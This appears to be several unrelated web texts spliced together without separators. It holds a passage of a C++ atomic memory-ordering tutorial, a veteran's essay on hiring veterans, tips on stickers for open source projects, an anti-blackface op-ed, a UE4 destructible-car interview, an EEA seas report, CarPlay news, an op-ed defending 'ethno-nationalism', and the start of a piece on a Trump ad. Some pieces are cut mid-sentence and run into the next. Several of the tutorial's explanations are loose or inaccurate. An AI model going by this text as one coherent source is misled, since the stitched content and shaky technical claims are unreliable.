The third mode is a hybrid between the other two. The acquire/release mode is similar to the sequentially consistent mode, except it only applies a happens-before relationship to dependent variables. This allows for a relaxing of the synchronization required between independent reads of independent writes.
Assuming 'x' and 'y' are initially 0:
-Thread 1- y.store (20, memory_order_release); -Thread 2- x.store (10, memory_order_release); -Thread 3- assert (y.load (memory_order_acquire) == 20 && x.load (memory_order_acquire) == 0) -Thread 4- assert (y.load (memory_order_acquire) == 0 && x.load (memory_order_acquire) == 10)
Both of these asserts can pass since there is no ordering imposed between the stores in thread 1 and thread 2.
If this example were written using the sequentially consistent model, then one of the stores must happen-before the other (although the order isn't determined until run-time), the values are synchronized between threads, and if one assert passes, the other assert must therefore fail.
To make matters a bit more complex, the interactions of non-atomic variables are still the same. Any store before an atomic operation must be seen in other threads that synchronize. For example:
-Thread 1- y = 20; x.store (10, memory_order_release); -Thread 2- if (x.load(memory_order_acquire) == 10) assert (y == 20);
Since 'y' is not an atomic variable, the store to 'y' happens-before the store to 'x', so the assert cannot fail in this case. The optimizers must still limit the operations performed on shared memory variables around atomic operations.
Consume
std:memory_order_consume is a further subtle refinement in the release/acquire memory model that relaxes the requirements slightly by removing the happens before ordering on non-dependent shared variables as well.
Assuming n and m are both regular shared variables initially set to 0, and each thread picks up the store to 'p' in thread 1 :
-Thread 1- n = 1 m = 1 p.store (&n, memory_order_release) -Thread 2- t = p.load (memory_order_acquire); assert( *t == 1 && m == 1 ); -Thread 3- t = p.load (memory_order_consume); assert( *t == 1 && m == 1 );
The assert in thread 2 will pass because the store to'm' happens-before the store to p in thread 1.
The assert in thread 3 can fail because there is no longer a dependency between the store to p, and the store to m, and therefore the values do not need to be synchronized. This models the PowerPC and ARM's default memory ordering for pointer loads. (and possibly some MIPs targets)
Both threads will see the correct value of n == 1 since it is used in the store expression.
The real difference boils down to how much state the hardware has to flush in order to synchronize. Since a consume operation may therefore execute faster, someone who knows what they are doing can use it for performance critical applications.
Overall Summary
Its actually not as complex as it sounds, so in an attempt to un-glaze your eyes, examine this case for each of the different memory models:
-Thread 1- -Thread 2- -Thread 3- y.store (20); if (x.load() == 10) { if (y.load() == 10) x.store (10); assert (y.load() == 20) assert (x.load() == 10) y.store (10) }
When 2 threads synchronize in sequentially consistent mode, all the visible variables must be flushed through the system so that all threads see the same state. Both asserts must therefore be true.
Release/acquire mode only requires the two threads involved to be synchronized. This means that synchronized values are not commutative to other threads. The assert in thread 2 must still be true since thread 1 and 2 synchronize with x.load(). Thread 3 is not involved in this synchronization, so when thread 2 and 3 synchronize with y.load(), thread 3's assert can fail. There has been no synchronization between threads 1 and 3, so no value can be assumed for 'x' there.
If the stores are release and loads are consume the results are the same as release/acquire except there may be less hardware synchronization required. Why not always use consume? The reason is that this example doesn't have any shared memory being synchronized. You may not see the values of any shared memory before the stores in the synchronization unless it is a parameter to the store.. ie, its only a synchronization on shared memory variables used to calculate the store value.
If everything were relaxed, then both asserts can fail because there is no synchronization at all.
Mixing memory models
And finally, what about mixed modes... ie:
-Thread 1- y.store (20, memory_order_relaxed) x.store (10, memory_order_seq_cst) -Thread 2- if (x.load (memory_order_relaxed) == 10) { assert (y.load(memory_order_seq_cst) == 20) /* assert A */ y.store (10, memory_order_relaxed) } -Thread 3- if (y.load (memory_order_acquire) == 10) assert (x.load(memory_order_acquire) == 10) /* assert B */
First off, don't do it, it will be very confusing!
Second, Its still a fair question, so taking a stab at it... Think of what happens for synchronization at each point. Stores tend to execute the store, then execute whatever system flushing needs to be done on their processor. Loads will issue whatever synchronizing instructions are needed to acquire all the states that have been flushed, and then execute the load.
Thread 1 : y.store is relaxed, so it issues no synchronizations and can be moved around. x.store is seq_cst, so it forces the state of thread 1 to be flushed before it proceeds. And it will still force the store to y to happen sometime before this synchronization.
Thread 2 : The x.load is relaxed, so it wont force any synchronization. Even though thread 1 flushed its state to the system, thread 2 does not do anything to make sure it is synchronized with the system. This should mean everything is in an unknown state anarchy. Just because it happens to see a value of 10 doesn't mean it is synchronized with all the things that happened before x.store(10) in thread 1.
Oddly enough, the load of Y will force a synchronization before it proceeds, so from THAT point on things would be what you expect. Messy eh.
Thread 3 : y.load is an acquire, so it will first get whatever state thread 2 has flushed. Unfortunately, the y.store in thread 2 is relaxed, so it hasn't issued any flushing instructions,and may have been moved around by the optimizers. So the results are again highly unpredictable.
Bottom line, mixing modes is dangerous, especially if it involves a relaxed mode. Mixing seq_cst and release/acquire can be done with care, but you really do need to have a thorough understanding the subtleties. You probably need good debugging tools too!!!I am going to speak as a Marine and a former hiring manager. I was once a Sergeant in the United States Marine Corps with two Iraq tours and have worked in the retail, real estate, the tech industry start-up and education sectors. In that time, I've hired more than enough people to know that it's one of the hardest decisions you have to regularly make. The choices of who you bring into an organization will either make or break you far quicker than anything you as the individual are capable of. I also know that almost all the decisions you make as a hiring manager happen as the sum result of the generalizations and stereotypes you have attached to the bullet points on their résumé. Don't feel bad. It's important to not follow that instinct that all individuals are fundamentally good and fundamentally the same. That's how you get robbed and your employees drive your company into the ground.
The facts are, you rely on those generalizations to give you the best guess of who is going to add value to your company's culture and who isn't going to burn the place to the ground. That said, what happens when you see military experience show up in your inbox? What generalizations do you hold? Do you really not know what it is you're looking at? Would you like to know more? The problem with many hiring managers is that they have no idea what it means when they see a veteran's resume. What qualities should you expect? What flaws? What do they add? How are they different from someone else? I wrote this piece to help communicate what to expect. Hopefully after reading you will be able to make an informed decision. You'll be able to know better if this applicant is not only a good worker for you, but also someone who can grow and drive your company in the future, someone who can grow with you, and maybe even someone who can help you take your operations to the next level.
Leadership is Ingrained in Vets
What many people don't know is that the United States Marine has an average age of only 19. What? Yes, that Marine is incredibly young, but it still needs to be led. Who do you think is doing this? 19 year olds. By the time most people are twenty in the Marines (this goes for the other services, as well) they are already an NCO. This stands for Non-Commissioned-Officer. Don't let the "Non" throw you off. What an NCO means is, "The guy in charge who will make my life Hell if I screw up," or just as often, "the guy whose job it is to make sure I stay alive." By the age of 20 some kids have already become technical experts in a professional field, are teachers to younger service-members and have led small teams in everything from shop operations to combat deployments.
By the time I was 22 I was a Sergeant in charge of a team of 13 other Marines. We were all occupying very technical jobs in the computer networking field and responsible for overseeing the maintenance and distribution of over $3 million dollars of Marine Corps property. You probably might think that that was a stupid investment on someone so young, but we pulled it off, with no fanfare I might add, and we did things like that all the time. It wasn't until I received a degree in Business Management at 25, that the civilian world could trust me again with doing the same thing. I suppose, on the outside, people can't be trusted with that kind of responsibility. Every day, though, vets do. The fact is that I could not have done this alone. I had those thirteen Marines who did the work and it was my job to coordinate. I had a very solid framework for leadership that include such gems as the Five Paragraph Order, Six Troop Leading steps, and the Thirteen Leadership Traits. These have become pivotal to my personal growth as a manager, teacher, and how I lead others. The military philosophies on the science of leading aren't something that leave you. The military trains Service Members to lead by example. Skills like motivation and delegation are actually given time to be trained and implemented in the most hostile environments imaginable.
The military doesn't just educate their members on the practical ways to manage behavior, such as the discipline and communication methods. Leadership is truly studied on the academic and theoretical level. More so than in other organization, this theoretical and practical leadership are put in practice as a matter of survival.
You want another note on leadership? In the military, no one can be fired, not at the bottom tiers at least. That means that you have to get the job done with the idiots God gave you. You are out there for seven to fourteen months with no replacements and just the same team along with all their problems. You have to train them, discipline them, correct them, counsel them and shape them, because you have no other choices. You didn’t even get to hire them. They were just assigned to you, more or less, at random. That is another reason why vets have such strong leadership skills. Could you honestly say that you could run a company the way the Marines do, with their success record, if you couldn't even pick who gets hired and can't even get rid of the ones who suck? You probably couldn't, but the military does. Choosing team members and leaders who have proven they are able to do this means that you are choosing team members who are adaptable and know how to lead others.
Vets Understand Responsibility
In most veterans you will see a strong vein of personal integrity. It isn't that they are better people than anyone else, far to the point. Many are socially unacceptable misfits by most people's terms. It is that integrity is driven to such a degree that it is presented as a matter of life or death. Ethics and standards of behavior are codified, they're policed, and a part of life to the point that it is a standard which will follow an individual. In the civilian world, that doesn't go away. It creates employees with a proven track record of trustworthiness that are often assets to the organizations they join after they leaving military service.
I don't mean to imply that civilians have no integrity. To contrary, there are many who are the most reliable people I have ever met, but in my experience, it can be hit or miss. In one job I had, by the time I had worked there for no more than a month nearly the entire staff had called out sick at least once, people wouldn't show up for work, complained incessantly, and generally, would do anything to avoid work. It wasn't legitimate sickness. It was dishonesty and an inability to be relied upon. The worst part... corporate wouldn't even let me fire them! I know that I said that the Marines and the military in general can't be fired and that makes vets good leaders, but firing people is a tool and needs to be used when you have it. Let's face it, because of lawyers and HR reps afraid of wrongful termination lawsuits, people can get away with murder without being let go far too often. This blows the minds of some vets.
In the military there are no sick days. I am not exaggerating. You absolutely must come to work and then must go to Sick Call before they will ever acknowledge that there might be something wrong with you. And if it is a PT day you will run three miles before you get to go.
When on deployment we also work every day. Every single day. There are no holidays, no weekends, no birthdays. It is the same thing every day. If you show up late, even by five minutes, or so, you will be running for miles or end up digging a massive fighting hole and 300 sandbags in an effort to make the base more secure. (It's not really about making the base more secure.) So you learn how not to get punished. In the civilian world they don't reward this behavior, but they also don't punish the latter.
"Why should I reward them for doing their jobs?" some might say.
"Because you won't punish them for not doing it." I'd reply.
People like us show up early, stay late and if you ask them to do something they work hard to see that it is done. In the worst case scenario, they will be responsible enough to tell you when they need help. There is a point I made in the last section that I would like to take the opportunity to repeat for emphasis.
By the time I was 22 I was a Sergeant in charge of a team of 13 other Marines. We were all occupying very technical jobs in the computer networking field and responsible for overseeing the maintenance and distribution of over $3 million dollars of Marine Corps property.
Most organizations wouldn't consider this type of thing a wise decision, but in the military it is common for very young people to be given a great deal of responsibility, relative to civilian counterparts. You wonder how. This might help. Image you give an 18-year-old a rifle and tell him that it is only thing that will protect his life for next seven months. Follow this up with a few months of proof and little else but living with the constant reminder of this fact and I promise you that rifle will not be lost, broken, damaged and will come back to you polished and good as new. I promise. Military people get responsibility because when they were very young, there were serious consequences to the decisions they made. Civilians don't go through this kind of trial by fire and training and many of them don't make good decisions because of it. The military has given young men and women real life and death responsibility and choices before a regular civilian would have graduated college.
Intuition is a skill. It can be learned. The military teaches it.
What many people think is that leaders are born. Not in the military. Simply put, many times in the military people are presented with situations where they must make life and death decisions in the blink of an eye. How do you do that given that there are no pie charts to help you make the decision, no data scientists to weigh all the variables and no spreadsheets, journals or time to decide? Intuition. How exactly do you trust that someone will make the right decision when you plan to throw them into that kind of situation? Faith in a system of training which focuses on immediate decision making in response to only the information available at the time, intuition. The Marines and the military train intuition into their culture. You might not even know what intuition really is. Well, here goes.
Intuition is the ability to take massive amounts of information and quickly come to a decision from all possible options quickly and correctly. It is the precise execution of understanding gained through experience and study. You don't do it with charts and graphs, you do it by absorbing all the knowledge available to you ahead of time and making it so readily available that the employee can access it at any given moment they wish. This sounds a lot like memory, but there is more than just recalling information. This means using that mental database to its fullest capacity. They are also able to sort through it and glean the right information without all the excessive over analysis that comes with having an abundance of information and options, often labeled “analysis paralysis” that can accompany a lot corporate level thinkers. This is one of the hardest things in the world to do and most people think you are either born with the ability you aren’t. This is a false assumption given to many by a society that worships heroes who magically just know what to do. Intuition, in truth, is a trainable skill and the vets have it already.
What they don’t have? They may not have the specific job essential abilities and skills you need. Provide them the training and let it add to their knowledge base. After that, let them use what they know, namely the ability to think, a skill often missing from many fresh college grads. You just have to provide the training and watch them succeed in implementing it.
Military people will tell you when something is wrong, even when you don't like it, often.
I remember, more than just about anything in the military, life is punctuated with a steady stream of inspections. Almost impossibly high standards are demanded in everything from uniforms to gear. Even after getting out, the habit of a strong sense of standards runs deep. Vets have the wont of maintaining a certain level of acceptability in operations, safety, and professionalism in others. This often is directed downwards, but they also develop built in mechanisms for directing problems that are discovered upwards as well. Many that I know, also have a real problem not accepting that same level excellence in others. If a failure is present, expect the vet to let you know.
You need to understand that the military are people who have an incredible amount of responsibility, not only for "company property", but for lives. Many seem to think that you give them an order, they say, "Sir, yes, sir!" and run off to their doom like mindless drones. It actually doesn't work that way, and I'm sorry if that is what you want from a veteran employee. Remember, they've spent years earning respect and a place of distinction as field experts so expecting them to just go to a point of utter subservience to you is both demeaning and ridiculous. It also throws away one of their most valuable assets, their independence and strength of character to be able to tell those they work with when something is wrong without damaging those relationships. This really does go back to the habit of self preservation, in that you don't just do what that young and inexperienced officer says when your experience tells you, it's going to get you killed. National security and all, but you are going to at least offer your opinion before leaping off the cliff like a flock of lemmings.
That, however, is what I see in a lot of corporate scenarios I have seen and been a part of... Lemmings. Yes Men. If you all you're looking for is a government sponsored yesman, you should keep looking. Most veterans won't accept a place where their input isn't valued and they shouldn't. They have valuable knowledge, training and skills. That said, they aren't going to disrespect you just to let their opinion be known. A military person knows how to use tact, a word I am learning more and more, doesn't seem to appear in lexicon of most industry professionals. They will try to communicates to you that you may not be making a good choice. That much needs to be expected, so fragile egos need not apply. They are also not so afraid of you as to speak their mind when they have a good idea or think that one of yours could use a second look. They already have self-confidence gained through life experience. This type of mentality is important, but is often squashed by egotistical bosses.
Vets can get the job done in an environment where they are trained to succeed in.
When you make the choice to hire a veteran, you can know that when you give them a task they will do it, provided they have the means and support to get the job done. If it is safe, |
, circle, square, honeycomb, or dinosaur shape doesn't matter. If people like your open source project and the people representing it, they aren't going to care about the shape of the sticker. They'll squeeze it in or pile it on top of their other stickers. Order small stickers: Your sticker is competing for limited laptop space in a rapidly growing open source universe, so a smaller sticker gives you greater odds for squeezing in. Order big stickers: Also have a stash of larger stickers on hand. Who are you to say no to someone who wants to promote your project on the back of their car or front of their office door? Order small quantities: Order in small enough quantities that you can tweak your design at least once a year, or so that you aren't left with a thousand 2015 conference stickers when 2016 rolls around. Order big quantities: But order enough stickers that you aren't stingy with them if booth visitors or project fans want extra stickers to share at the office or to save for future laptops. "I'm sort of funny about stickers on my personally owned gear," Ben Cotton explains. "I'm so nervous about putting a sticker on something then having it break and not being able to have the sticker on its replacement that I end up not ever putting stickers on. I have a drawer full of stickers that I want to put on things, but...." (When the stickerpocalypse happens, we know who's got the sticker stash.) Go with vinyl die-cut: Paper stickers are the worst, and I'm speaking from experience when I say that you do not want to be tearing or cutting stickers from a roll. Change the design: Rolling out different designs or a series like GitHub does is a great idea. Fans of your project, community, or stickers will appreciate having a variety of designs to choose from or collect. Everybody hearts cute: The popularity of GitHub stickers is due in part to how cute they are. If you can't stick a kitten on your stickers, you might consider other cute design options if you want people to go out of their way to track them down and show them off. You can't please everybody: Ok, probably somebody out there doesn't heart cute, or *gasp* kittens. Or they want a vertical design instead of horizontal, or a honeycomb shape instead of a circle. If they're into your project, people, or event, they'll still want your stickers. Or, if they aren't into stickers, but they know people who are, they'll pass them on for you. But nobody will covet, collect, display, horde, or share your stickers if you don't make them available.
What did I leave out of the list of sticker tips for open source projects and events? What are the missing Rules for Sticker Club? Let me know about them in the comments, or tweet your feedback with the hashtag #openstickers.
Let's see your laptop sticker showcase. Share your sticker photos with us on Twitter using the hashtag #openstickers.
Thank you to everyone who contributed to this story, and especially to that girl who told me I needed to order stickers years ago at LinuxFest Northwest.
"This is my husband, Ernie Kim, who is using my old netbook. He shares my enthusiasm for most of these projects." Photo by Deb Nicholson. CC BY-SA 4.0Rules of sticker clubTwo troubled souls in Florida – Greg Cimeno and William Filene — decided that it would be “fucking hilarious” to dress up as George Zimmerman and a murdered Trayvon Martin for Halloween. Filene donned a hoodie with blood painted in the center and put on black face paint. His friend Greg put on a T-shirt that said “neighborhood watch.” In the picture that Caitlin Cimeno put up on Facebook, the two men smile and laugh for the camera with Caitlin standing in the middle having a blast.
An innocent teenage boy was murdered and these poor excuses for human beings find it reasonable to use his body as the ground upon which to stage their Halloween fun.
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(The actress Julianne Hough also sparked outrage this weekend when she attended a Halloween party in blackface as the character Crazy Eyes from the show "Orange Is The New Black.")
I don’t know how much more direct I can be in saying this: Do not wear blackface for Halloween. (Or brownface or yellowface or redface) It’s that simple. To do so is utterly and incontestably racist and needlessly insensitive.
And yes, I used a command. Don’t do it. This is not a question about rights. Human beings have every right to do completely effed up things. But who in their right mind wants to argue for the right to be racist, the right to make a mockery of human life, the right to be an asshole?
Blackface minstrelsy emerged as a form of mass popular entertainment in this country in the 1830s. Scholars like Benjamin Reiss and others who write about it suggest that white performers donning blackface to perform for white audiences allowed white people to work out their cultural anxieties and prejudices about race, racism, whiteness and blackness.
When white folks paint their bodies black, they demonstrate that they see the black body as a permissive site for the expression of trauma, pain and illicit pleasures. In other words, being in a black body permits them to do everything they are uncomfortable doing in a white body: being lewd and crude, celebrating violence, acting sexually promiscuous, using racial slurs.
This is just one more lie of white racism: that black people are free to do all the things our society hates and demonizes while white people are bound by the strictures of respectability. White pathologization of the black body is classic psychological projection. Everything that there is to abhor about whiteness and white supremacy gets projected onto the black body and becomes a material problem for black people.
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Now for many people who simply do not want to concede the horror and racism of these acts by Filene and the Cimenos, it would be easy to dismiss this as individual racism, to suggest that these people are clearly jerks, but that their sentiments are not generalizable.
Every year, pictures surface on social media of college kids and regular citizens donning blackface for parties. This is not an isolated incident. It keeps happening and it happens because white people do not actually believe this constitutes an injury to black people. Or maybe they just don’t care.
“We’re just having fun,” many of them say. Look, I get the cultural fascination with black skin. The American national imaginary is built on the mythic lore of black otherness – superhuman strength to supply the main labor force of the national economy, men and women with extraordinary sexual desire and prowess, unparalleled athleticism, and a deep anger that leads to a fearsome capacity for violence.
Notice that I said myth. I understand that white folks without access to good anti-racist education might attempt to understand this group of people who are continually subject to the machinations of white supremacy by trying their damnedest to understand what it feels like to be black.
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My suggestion to those people: Just stop. The whole point of white supremacy beyond having a global monopoly on power and domination is that white people are never supposed to feel their race.
In fact, that is my question: How does it feel to be white?
How does it feel to move through the world without being accused, for instance, of “shopping while black”? How does it feel to know police officers are there to help you rather than surveil you? How does it feel to have the full range of your experiences represented on the big and small screen? How does it feel to be the dominant race in the U.S. Congress, the U.S. Supreme Court, almost all 50 governorships, every state legislature in the country and most cities and local governments too?
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I imagine that that feels good. Safe. I’m not asking for a perverse descent into white guilt here. I am asking white people to recognize that that goodness and innate comfort that you feel in your own skin, that uncompromised sense of your own humanity is exactly how you are supposed to feel.
I am asking you to recognize that black people and brown and native people are supposed to feel any way other than that.
When you grapple with how it feels to be white, you will be much closer to understanding how it feels to be black.
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There may be no redemption for these foolish racists who clearly have no moral compass. Caitlin Cimeno is no innocent bystander herself. On her Facebook page, she mocked a picture of a little black girl in a T-shirt that said, “Black Girls Rock.” Caitlin intimated that if she “told the truth” using the converse logic that “white girls rock” she’d be called racist. I won’t spend time explaining that any more than I spend time explaining why we don’t have white entertainment television and white history month.
White people are not that obtuse. And the ones who are are willfully ignorant.
Ain’t nobody got time for that. Instead, for those folks who consider themselves enlightened, I will simply say that one of the easiest ways to not be racist this Halloween season is to say no to blackface and tell your less enlightened friends to say no, too.
Black America and the diasporic black world thank you.Dries Deryckere talked about the solution, which helped him to create amazing procedurally destructible car system. It’s hard to imagine what students’ can do with modern technology these days. Dries Deryckere most recently published an amazing project (which you can actually get for free or for a couple of bucks at Gumroad), which features a fully procedurally destructible car. It’s all achieved through an intricate setup of blueprints. We’ve talked with Dries about this system and he shared how he managed to create it and what problems he had along the way.
Introduction
My name is Dries Deryckere and I’m a student at Digital Art and Entertainment (DAE). DAE is a course provided by the Howest College in Kortijk, Belgium. I’m currently doing an internship in Valencia. I’ve freelanced a bit left and right, including for beffio.com. I’ve never worked on a big title or project, as I’m still a student and I’m still finding my way in the industry.
Building Procedurally Destructible Car
The project itself is actually my graduation work for DAE. I researched different ways on how to do procedural deformation and finally settled with a system I put in place myself. The system works as following:
UE4 has a skeletal mesh system which allows the user to import rigged objects using fbx files. These objects can be given physics and can be simulated like a ragdoll. What I’ve done is I’ve taken a skeletal mesh and I’ve given it very high damping. This renders the rigged object inanimate, except when another physics object collides with it with a certain speed and mass (and thus force).
Problem is that the skinned object does not fall to the ground and has no other physics than the deformation. So I looked for a way to make it simulate in a local space. I achieved this by taking the same mesh, unskinned, and setting it as a simple static mesh. I give this static mesh physics like a normal static mesh, so it falls to the ground and behaves like you would just set “simulate physics” to true.
And then, using blueprints I teleport the skeletal mesh construct to the simulated static mesh. And then I only render the skeletal mesh. Both the the skeletal and the static mesh have collision boxes for the other physicsobjects that collide with the deformable plate, but collision is disabled between the static mesh and the skeletalmesh.
So to make a long story short: Skeletalmesh with high damping -> teleport to -> simulated staticmesh.
All the elements of the car (including the parts that hinge and can deform) are held in place with physics constraints.
Current problems with the project:
Cars can’t collide with each other (fixable but will take some work).
Deformation is a bit unpredictable and objects need to be heavy to have real impact. (fixeable but would require to change all the paramaters)
Some missing elements on the car.
Very performance heavy with 6+ cars on scene.
Not user friendly and creating a different car would require making the system again from scratch, because everything depends on the mesh. There is no way to create a “generate” button.
All elements in this project are textured using substance painter. The wrinkle effect in the normals is done with a dynamic material that blends in a normal when a hit is registered.
Each bendable material is unwrapped in a way that the main wrinkle texture used for all materials makes sense.Same for the paint that gets destroyed.
Dynamic materials are not really hard to pull of in UE4. Some quick reading in the UE4 documentation tells everything.
Be sure to download the project and try it out on your own. It’s a great way to learn how to do some more incredible stuff in UE4. Be careful though, the download is almost 1 gigabyte.The European Environment Agency (EEA) has said the status of Europe’s seas and oceans is damaged by the industry and that EU member states are at risk of destroying the marine ecosystem.
A report by the EEA has shed light on the conditions of seas in Europe, urging states to adopt measures to improve their health by 2020. The findings will be discussed during a conference in Brussels in March.
The report has collected data from member states on what they consider to be a “good environmental status” for their waters and on the targets they have put in place to achieve this.
However, the overall picture is worrying, with the Mediterranean and the Black Sea looking particularly threatened by overfishing, while marine litter remains a major cause of concern in the North Sea.
Environment commissioner Janez Potočnik said, “The message is clear: Europe’s seas and oceans are not in good shape. But we depend on these seas, and we need to find a balance.
“That means finding ways to reap their economic potential without increasing the pressure on an already fragile environment, creating growth and jobs that are secure in the long term.”
Meanwhile, Hans Bruyninckx, EEA executive director commented, “The rich life in Europe’s seas is an incredible asset. But we must ensure that this asset is used in a sustainable way, without surpassing the limits of what the ecosystems can provide.
“The current way we use the sea risks irreversibly degrading many of these ecosystems.”
Fewer than a fifth of species found in European seas have been found to be in good conditions, despite an increase of marine protected areas. The report recommends that countries take appropriate action and strengthen inter-state collaboration, as well as promote a more sustainable way of living and consuming.
Further reading:
Plastic from skin scrubs contributes to marine pollution
Most marine protected areas not effective, new research says
27 new marine conservation zones to be created around English coasts
Marine conservation could be worth ‘billions’ to UK economy
Scientists disappointed with government’s protection of seasApple has quietly updated its CarPlay microsite which explains the feature to add CBS News Radio to its growing list of apps it grants CarPlay support to, but a bigger change also appears on the CarPlay site this morning. Apple is no longer promising CarPlay support from any automobile manufacturer this year as it has done since its debut in March. While there has been no shortage of CarPlay demoes and availability announcements, actually getting your hands on a model with CarPlay thus far has proven almost impossible.
The site now says CarPlay “will be available” from listed partners without offering any specific timeframe (and removing the 2014 language for specific brands altogether). This is likely due to delays in CarPlay availability thus far, even in models that have announced support earlier this year with cars that are now on the road.
To date, it appears Ferrari’s FF model is the only vehicle to actually ship CarPlay to customers. Automakers Mercedes-Benz and Volvo both confirmed to 9to5Mac last month that despite Apple announcing each company as 2014 partners, CarPlay availability would not happen this year.
Before today’s change, Apple’s CarPlay availability included Ferrari, Honda, Hyundai, Mercedes-Benz, and Volvo, saying “CarPlay will be available on models from these great marques in 2014.”
You can see Apple’s previous CarPlay availability description below:
The updated site now consolidates a number of brands under the same parent company adding to the vagueness of when and if CarPlay will be available in specific vehicles.
Aside from availability in new models, CarPlay has been promised in aftermarket in-car displays as well with Apple listing both Pioneer and Alpine as committed partners. That language has not changed, but Pioneer stated earlier this year that CarPlay would be available in summer 2014 (later adding early summer availability), but Pioneer customers still have not seen the mentioned firmware update to bring CarPlay support from Apple.
Apple first introduced CarPlay as “iOS in the Car” at its annual Worldwide Developer Conference in June 2013, and rebranded and redesigned the feature under the name CarPlay in March 2014.
Update: Pioneer UK has a couple of interesting tweets about CarPlay support and releasing the firmware update mentioned before.
[tweet https://twitter.com/PioneerUK/status/514488428969611264]
[tweet https://twitter.com/PioneerUK/status/514491315372191744]According to recent reports in the mainstream media, Steve Bannon is a supporter of “ethno-nationalism,” and that is scary. It is also, since everything the left doesn’t like is slapped with this label, “racist.” Sometimes, the word “white” is thrown in the mix of charges to make them extra scary, as in this tweet from the Southern Poverty Law Center. (If Bannon is a “white nationalist,” what work is “ethno” doing in that tweet? Or if he is really an “ethno-nationalist,” why is “white” thrown in except as a propaganda technique?)
To make their point, people are citing quotes from Bannon like this one: “‘When two-thirds or three-quarters of the C.E.O.s in Silicon Valley are from South Asia or from Asia, I think …’ he said, trailing off midsentence before continuing a moment later, ‘a country is more than an economy. We’re a civic society.’”
The website Quartz claims that “the distinction between nationalism and white nationalism may seem like splitting hairs from a liberal perspective”—an odd claim, since a nationalist would claim that our government should put the interest of all Americans (many of whom are not white) first, something we have heard repeatedly from Trump, while a white nationalist would say that only about white Americans. The site then goes on to say that Bannon believes all Americans kind of have their place, “so long as white Protestants remain, as it were, first among equals.” Which would be a pretty weird thing for Bannon to think, given he is Irish-Catholic: it would amount to him advocating that his own people never be other than second place.
I don’t know if Bannon would call himself an ethno-nationalist or not. But if he did, would it be a bad thing? I suggest not: ethno-nationalism is the core idea underlying the existence of nation-states, and has nothing whatsoever to do with racist nationalism.
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First of all, “ethno-nationalism” is deeply woven into the very notion of the nation-state. The Greek word ethnos, used frequently in the New Testament, is often translated as “nation”: the idea of “a people” and that of a nation were seen as tightly linked. Millennia later, when progressives sought to redraw the map of Europe after WWI, they did so under the principle that each “ethnos” should have its own nation-state. Wilson’s Fourteen Points stresses the principle that each ethnos should be free to develop “autonomously.”
To darkly hint that “ethno-nationalism” really means “white nationalism,” as some critics of Bannon seem to be doing, is hinting nonsense. A vast majority of African-Americans are, in the ethno-nationalist sense, “more American” than anyone in my family: the ancestors of most African-Americans arrived here in the 1700s, while my ancestors did so only in the late 1800s. Native Americans are also obviously “more American” than anyone of European descent, and many Hispanic families have been in this country for a century and a half or more.
But it is not merely those with extended ancestries in America who are part of our ethnos: anyone who is here legally, even if they arrived yesterday, has joined our nation. Perhaps you believe that the level of legal immigration has been too high over the past decades. Whether that is correct or not, past is past: it is certainly not the fault of legal immigrants if our laws were too permissive in allowing immigration. Now that they have been legally allowed to join our nation, they are a part of it, and deserve the same protection and consideration as every other member.
“Ethno-nationalism,” as I understand the term, asserts only that we, who are living here as citizens, are Americans, and that the foremost end of our government is to protect us and our rights. This idea (properly understood) does not imply any hostility toward people from other countries. It simply means that it is their governments that are tasked with protecting them and promoting their well-being, while our government is tasked with protecting us and promoting our well-being. Nations are certainly not families and their citizens are not children, but in some respects there are useful analogies between the two: that I recognize that I am firstly responsible for caring for my own children does not mean I am hostile to other people’s children, or that I am “pedophobic.”
And so, as I believe both Bannon and Trump would assert, if the globalists seek to flood our country with low-wage laborers from the third world, they are first and foremost betraying their duty to our African-American fellow citizens, who, due to the terrible history of people of African descent in this country, tend to be lower-wage workers. When unemployment is running, depending upon how one counts, at 30-60 percent for young black men (Trump may have overstated this figure, but his point stands nevertheless), what are we doing bringing millions of low-wage workers into the country, a policy that can only ensure that the African-American unemployment rate will continue to remain unacceptably high?
And many of the Hispanics who are in the country legally also suffer from competition from those immigrating illegally: the latter can be compelled to work for low wages under poor conditions because of their precarious legal status. Every legal Hispanic immigrant working in the service industries would benefit tremendously from not having to compete with illegal immigrants willing to do the same jobs for much lower wages.
And what of Bannon’s worry about the number of foreign-born CEOs in Silicon Valley? Well, culture is a deep, complex thing, and it takes time to “become” an American culturally, or a Mongolian, or a Honduran. If I moved with my family to Honduras tomorrow, it probably would not be until the generation of my grandchildren that our family would be “fully Honduran,” culturally speaking, although we might be full citizens well before that. I don’t believe that Bannon was disparaging the great accomplishments of these immigrants, or suggesting that anyone should strip them of their positions because they are from Asia. I think he was only suggesting that it is difficult to form a workable, coherent culture when the number of newcomers is so high.
I don’t know Steve Bannon, and I have only read a small amount of his written output, and that only in the process of writing this piece. (In fact, I don’t recall ever visiting Breitbart.com before undertaking this assignment.) Perhaps, given my limited knowledge of him, Bannon really is, secretly, a “white nationalist,” despite his repeated public rejection of white nationalism. Perhaps he really is, secretly, a supporter of the racist elements of the alt-right, despite the fact that he has said he has “zero tolerance” for those elements. Perhaps he really is, secretly, anti-Semitic, despite his strong support for Israel (a support too strong, by my standards), and despite the character testimony provided for him by many Jews. But the evidence that Bannon holds these hidden views, as far as I have been able to examine it, is pathetic, and entirely inadequate to support such serious charges. No competent prosecutor would ever bring a case against a suspect based on such flimsy evidence.
So is there an alternative hypothesis as to why Bannon has been attacked in this fashion? Well, let us imagine that there is a globalist elite that doesn’t really care at all about the American people. When the housing crisis hit in 2007, instead of bailing out low-income homeowners (many of whom were African-American and Hispanic) who had been duped into taking on adjustable-rate mortgages that only someone with a degree in finance could understand, they instead bailed out the bankers who had made such loans. Instead of worrying about the impact of massive immigration on the lives our our own most vulnerable citizens (many of whom are African-American and Hispanic), they celebrated such immigration, since, after all, it provided them with cheap gardeners and nannies and maids, and their factories with cheap assembly-line workers. Now imagine that they are threatened by the possible ascendancy into power of people who do actually believe that the American government should put the interest of American citizens, be they black or Hispanic or white or Asian, first in our government’s policies? I would imagine that this (entirely imagined on my part!) elite would embark on a relentless smear campaign against anyone expressing such “ethno-nationalist” concern for our own citizens on the part of our own government, so that they could continue to enrich themselves at the expense of the rest of us.
Dear reader, please decide for yourself which hypothesis is most probable.
Gene Callahan teaches economics and computer science at St. Joseph’s College in Brooklyn and is the author of Oakeshott on Rome and America.Donald Trump’s ad begins with a shot of President Obama and Hillary Clinton. Then comes a U.S. battleship launching a cruise-missile strike. From there it moves swiftly through an explosive montage: The suspects in the recent California terrorist attack. Shadowy figures racing across the U.S.-Mexico border. Islamic State militants.
